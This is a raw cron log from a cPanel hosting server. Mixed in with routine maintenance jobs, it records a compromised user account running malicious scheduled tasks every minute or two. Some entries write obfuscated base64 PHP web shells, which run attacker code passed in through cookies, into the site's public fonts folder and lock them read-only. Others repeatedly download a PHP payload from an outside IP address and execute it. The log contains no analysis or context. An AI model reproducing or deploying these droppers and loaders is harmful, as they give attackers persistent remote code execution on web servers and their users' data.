Sep  4 13:48:01 ip-184-168-122-23 CROND[1518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:48:01 ip-184-168-122-23 CROND[1519]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:48:01 ip-184-168-122-23 CROND[1521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:48:01 ip-184-168-122-23 CROND[1520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:49:01 ip-184-168-122-23 CROND[1607]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  4 13:49:01 ip-184-168-122-23 CROND[1608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:49:01 ip-184-168-122-23 CROND[1609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:49:01 ip-184-168-122-23 CROND[1610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:49:01 ip-184-168-122-23 CROND[1611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:50:01 ip-184-168-122-23 CROND[1837]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 13:50:01 ip-184-168-122-23 CROND[1838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:50:01 ip-184-168-122-23 CROND[1842]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:50:01 ip-184-168-122-23 CROND[1846]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:50:01 ip-184-168-122-23 CROND[1844]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:50:01 ip-184-168-122-23 CROND[1847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:50:01 ip-184-168-122-23 CROND[1850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:50:01 ip-184-168-122-23 CROND[1848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:50:01 ip-184-168-122-23 CROND[1851]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 13:51:01 ip-184-168-122-23 CROND[1992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:51:01 ip-184-168-122-23 CROND[1995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:51:01 ip-184-168-122-23 CROND[1996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:51:01 ip-184-168-122-23 CROND[1998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:52:01 ip-184-168-122-23 CROND[2086]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:52:01 ip-184-168-122-23 CROND[2088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:52:01 ip-184-168-122-23 CROND[2091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:52:01 ip-184-168-122-23 CROND[2089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:52:01 ip-184-168-122-23 CROND[2090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:53:01 ip-184-168-122-23 CROND[2172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:53:01 ip-184-168-122-23 CROND[2173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:53:01 ip-184-168-122-23 CROND[2174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:53:01 ip-184-168-122-23 CROND[2176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:54:01 ip-184-168-122-23 CROND[2254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:54:01 ip-184-168-122-23 CROND[2255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:54:01 ip-184-168-122-23 CROND[2257]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:54:01 ip-184-168-122-23 CROND[2258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:54:01 ip-184-168-122-23 CROND[2256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:55:01 ip-184-168-122-23 CROND[2352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 13:55:01 ip-184-168-122-23 CROND[2350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:55:01 ip-184-168-122-23 CROND[2354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:55:01 ip-184-168-122-23 CROND[2351]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 13:55:01 ip-184-168-122-23 CROND[2353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:55:01 ip-184-168-122-23 CROND[2355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:56:02 ip-184-168-122-23 CROND[2448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:56:02 ip-184-168-122-23 CROND[2450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:56:02 ip-184-168-122-23 CROND[2452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:56:02 ip-184-168-122-23 CROND[2451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:56:02 ip-184-168-122-23 CROND[2453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:57:02 ip-184-168-122-23 CROND[2555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:57:02 ip-184-168-122-23 CROND[2558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:57:02 ip-184-168-122-23 CROND[2556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:57:02 ip-184-168-122-23 CROND[2559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:58:01 ip-184-168-122-23 CROND[2651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:58:01 ip-184-168-122-23 CROND[2654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:58:01 ip-184-168-122-23 CROND[2655]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 13:58:01 ip-184-168-122-23 CROND[2656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 13:58:01 ip-184-168-122-23 CROND[2657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:59:01 ip-184-168-122-23 CROND[2842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 13:59:01 ip-184-168-122-23 CROND[2844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 13:59:01 ip-184-168-122-23 CROND[2843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 13:59:01 ip-184-168-122-23 CROND[2845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 14:00:01 ip-184-168-122-23 CROND[2955]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
